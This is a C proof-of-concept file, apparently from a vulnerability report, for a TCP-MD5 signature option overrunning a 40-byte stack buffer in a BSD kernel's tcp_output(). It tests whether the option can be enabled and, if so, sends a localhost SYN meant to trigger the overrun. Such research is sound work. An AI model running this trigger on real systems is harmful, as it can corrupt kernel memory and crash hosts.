DF-2597 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-2597 โ TCP-MD5 (TCP_SIGNATURE) option appends 20-byte signature block * into the 40-byte opt[] stack buffer in tcp_output() WITHOUT any bound * check (sys/netinet/tcp_output.c:779-800). * * Trigger conditions: * - kernel compiled with `options TCP_SIGNATURE` * - socket has TF_SIGNATURE armed (setsockopt(TCP_SIGNATURE_ENABLE)) * - tcp_output emits a segment whose other options already push optlen * high enough that the 20-byte signature block overruns opt[]: * SYN: MSS(4)+win(4)+sackperm(4)+ts(12) = 24 -> +20 = 44 (4-byte overrun) * ESTABLISHED: ts(12) + 3 SACK blocks (28) = 40 -> +20 = 60 (20-byte overrun) * * On the DEFAULT GENERIC kernel TCP_SIGNATURE is NOT compiled in * (commented in sys/conf/options, absent from sys/config/X86_64_GENERIC), * so: * - tcp_output.c:779-800 is dead code (#ifdef TCP_SIGNATURE) * - the SET handler case TCP_SIGNATURE_ENABLE in tcp_usrreq.c:1556 is * dead code too, so setsockopt returns ENOPROTOOPT and TF_SIGNATURE * can never be set by an unprivileged user. * * This PoC first reports what setsockopt(TCP_SIGNATURE_ENABLE) returns: * ENOPROTOOPT (42 on FreeBSD/DragonFly) -> unreachable on default kernel * 0 -> kernel has TCP_SIGNATURE; overflow reachable * * On a TCP_SIGNATURE kernel it then connect()s to a localhost listener to * emit the SYN with all four options + signature, which overruns opt[] by * 4 bytes on the SYN path. */ #include <sys/types.h> #include <sys/socket.h> #include <fcntl.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> /* TCP_SIGNATURE_ENABLE is defined in <netinet/tcp.h> as 0x10 */ #ifndef TCP_SIGNATURE_ENABLE #define TCP_SIGNATURE_ENABLE 0x10 #endif static volatile int g_alarm = 0; static void onalrm(int s __unused) { g_alarm = 1; } int main(int argc, char **argv) { int sfd, cfd, one = 1, sig_on = 1, err; struct sockaddr_in la, ra; int port = (argc > 1) ? atoi(argv[1]) : 18000; signal(SIGALRM, onalrm); /* listener to complete (or attempt) the connection so SYN emits */ sfd = socket(AF_INET, SOCK_STREAM, 0); if (sfd < 0) { perror("socket(l)"); return 2; } setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); memset(&la, 0, sizeof la); la.sin_family = AF_INET; la.sin_addr.s_addr = htonl(INADDR_LOOPBACK); la.sin_port = htons(port); if (bind(sfd, (struct sockaddr *)&la, sizeof la) < 0) { perror("bind"); close(sfd); return 2; } listen(sfd, 1); printf("[+] listener on 127.0.0.1:%d (sfd=%d)\n", port, sfd); /* attacker socket */ cfd = socket(AF_INET, SOCK_STREAM, 0); if (cfd < 0) { perror("socket(c)"); return 2; } /* maximize options: ensure rfc1323 (ts+win) + sack defaults */ /* (defaults are already on: tcp_do_rfc1323=1, tcp_do_sack=1) */ /* * THE BUG PATH: arm TCP_SIGNATURE on a CLOSED socket. * On default GENERIC (no TCP_SIGNATURE): setsockopt returns ENOPROTOOPT. * On a TCP_SIGNATURE kernel: succeeds, sets TF_SIGNATURE. */ err = setsockopt(cfd, IPPROTO_TCP, TCP_SIGNATURE_ENABLE, &sig_on, sizeof sig_on); printf("[*] setsockopt(TCP_SIGNATURE_ENABLE) -> %d errno=%d (%s)\n", err, errno, err ? strerror(errno) : "OK"); if (err != 0) { printf("[!] TCP_SIGNATURE is NOT compiled into this kernel.\n"); printf("[!] tcp_output.c:779-800 signature-append block is dead code (#ifdef TCP_SIGNATURE).\n"); printf("[!] setsockopt(TCP_SIGNATURE_ENABLE) cannot arm TF_SIGNATURE.\n"); printf("[!] RESULT: bug UNREACHABLE on this kernel (latent code defect).\n"); close(cfd); close(sfd); return 5; /* distinct exit: unreachable */ } printf("[+] TCP_SIGNATURE compiled in โ TF_SIGNATURE armed.\n"); printf("[*] connecting to emit SYN: MSS(4)+win(4)+sackperm(4)+ts(12)=24, +sig(20)=44 > opt[40]\n"); memset(&ra, 0, sizeof ra); ra.sin_family = AF_INET; ra.sin_addr.s_addr = htonl(INADDR_LOOPBACK); ra.sin_port = htons(port); /* non-blocking connect so we don't hang if the kernel panics mid-SYN */ fcntl(cfd, F_SETFL, O_NONBLOCK); alarm(3); int rc = connect(cfd, (struct sockaddr *)&ra, sizeof ra); if (rc < 0 && errno != EINPROGRESS) { printf("[!] connect: %s\n", strerror(errno)); } else { printf("[+] connect initiated (SYN sent through tcp_output)\n"); } /* if we get here without a panic, the overrun was silent (or not built) */ sleep(1); printf("[*] still alive after SYN โ overrun did not trap (INVARIANTS poison may still fire later)\n"); close(cfd); close(sfd); return 0; } |